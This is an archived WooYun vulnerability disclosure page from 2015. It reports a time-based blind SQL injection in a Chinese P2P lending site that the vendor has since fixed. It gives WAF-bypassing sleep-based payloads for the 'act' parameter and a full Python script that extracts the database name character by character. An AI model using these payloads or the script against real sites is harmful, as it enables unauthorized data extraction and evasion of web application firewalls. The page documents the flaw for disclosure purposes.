当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0142448

漏洞标题:P2P金融安全之全民创投主站存在SQL注入可绕过waf保护(附利用代码)

相关厂商:qmct8.com

漏洞作者: 路人甲

提交时间:2015-11-01 19:00

修复时间:2015-12-17 14:48

公开时间:2015-12-17 14:48

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经修复

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-11-01: 细节已通知厂商并且等待厂商处理中
2015-11-02: 厂商已经确认,细节仅向厂商公开
2015-12-17: 厂商已经修复漏洞并主动公开,细节向公众公开

简要描述:

详细说明:

http://**.**.**.**/index.php?act='XOR(if(now()=sysdate(),sleep(5),0))OR'&ctl=project

act参数存在注入,但是有过滤。采用

http://**.**.**.**/index.php?act='XOR(if(now()=sysdate(),sleep(length(database())),0))OR'&ctl=project

http://**.**.**.**/index.php?act='XOR(if(now()=sysdate(),sleep(ascii(mid(lower(database()),1,1))-95),0))OR'&ctl=project

的方式绕过~
#1 在没有设置延迟参数的情况下,会在0.2秒内返回,所以睡眠5秒的话,会在5.2秒时返回:

1.png


#2 如下图片得出数据库的长度为9:

12.jpg


#3直接上脚本跑:

13.png


脚本说明:因为每一位我都手动测试过,最小的的ascii码是99,所以为了加快速度,我脚本中睡眠时统一减去了95秒


附脚本:

#encoding=utf-8
import httplib
import time
import string
import sys
import random
import urllib
import math
headers = {}
print 'Start to retrive MySQL Database:'
database = ''
for i in range(1, 10):

time.sleep(5) #5秒来一发
s = "/index.php?act='XOR(if(now()=sysdate(),sleep(ascii(mid(lower(database()),%s,1))-95),0))OR'&ctl=project" % (i)
t_start=time.time()
conn = httplib.HTTPConnection('**.**.**.**', timeout=150)
conn.request(method='GET',
url=s,
headers=headers)
conn.getresponse()
conn.close()

time_delay=math.floor(time.time()-t_start)
print '\n\nTime delay is %s Seconds' % (time_delay+95) #加上少睡眠的95秒
database += chr(int(time_delay)+95) #加上少睡眠的95秒
print '\n[in progress]', database,

print '\n\n[Done] MySQL database is %s' % database

漏洞证明:

修复方案:

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2015-11-02 12:10

厂商回复:

最新状态:

2015-11-02:已处理